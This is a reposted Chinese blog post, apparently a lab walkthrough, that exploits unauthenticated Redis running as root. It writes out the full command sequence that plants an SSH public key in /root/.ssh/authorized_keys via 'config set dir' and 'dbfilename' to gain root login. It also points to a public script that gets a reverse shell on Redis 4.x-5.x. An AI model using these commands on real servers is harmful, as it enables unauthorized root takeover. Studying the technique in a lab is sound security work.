從redis未授權訪問到獲取服務器權限


從redis未授權訪問到獲取服務器權限

好久沒寫博客了,博客園快荒蕪了。趕緊再寫一篇,算是一個關於自己學習的簡要的記錄把。

這里是關於redis未授權訪問漏洞的一篇漏洞利用:

首先是redis,靶場搭建:

先是搭建ubuntu靶機,可參考這一篇文章:

https://zhuanlan.zhihu.com/p/141033713

全部安裝好了之后,安裝redis服務,這中間會有很多工具需要自行安裝,比如gcc,比如make,按照提示要求自行安裝就行了,ubuntu安裝還是要比其他linux簡單的。

安裝redis服務:

安裝redis服務也不需要重復造輪子了。這位大佬已經寫的非常清楚了,參照:

https://www.cnblogs.com/bmjoker/p/9548962.html

安裝好了之后:

redis-server /etc/redis.conf   啟動redis服務。注意,一定要用root用戶啟動。

啟動之后,這個redis未授權訪問靶機就算搭建完成了。

漏洞利用:

如果redis是以root的身份運行,且還是以未授權的方式暴露在公網上,那么攻擊者就可以通過redis給root賬戶寫入ssh公鑰文件,然后通過自己的私鑰連接redis服務器,以root用戶身份直接登錄服務器。

下面是漏洞利用過程:

首先本地生成一對公私鑰,使用命令:

ssh-keygen -t rsa

於是乎,就會在你的服務器上的.ssh文件夾下生成2個文件,如下:一個公鑰,一個私鑰:

 

 將生成的公鑰的內容前后添加3個\n,即3個回車,保存到一個txt文件中。

 

 然后將該txt中的內容寫入redis:

cat test.txt | redis-cli -h 192.168.145.135 -x set ok

登錄redis服務器:

redis-cli -h 192.168.145.135

config get dir命令可以得到redis的備份路徑

更改redis備份路徑為ssh公鑰存放目錄,即/root/.ssh:

config set dir /root/.ssh

然后設置上傳公鑰的備份文件名字為authorized_keys:

config set dbfilename authorized_keys

然后

save

這時,就可以通過ssh -i id_rsa root@192.168.145.135以私鑰的方式遠程連接redis服務器了。

 

上述的漏洞利用方法是必須要求redis服務的運行權限是root權限的,所以比較苛刻。其實,非root用戶的redis4.x-5.x版本的redis服務有直接的命令執行漏洞,可以直接那來使用:

使用腳本:

https://github.com/vulhub/redis-rogue-getshell

 

 使用該腳本即可直接在redis服務器上執行命令,進而反彈shell。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM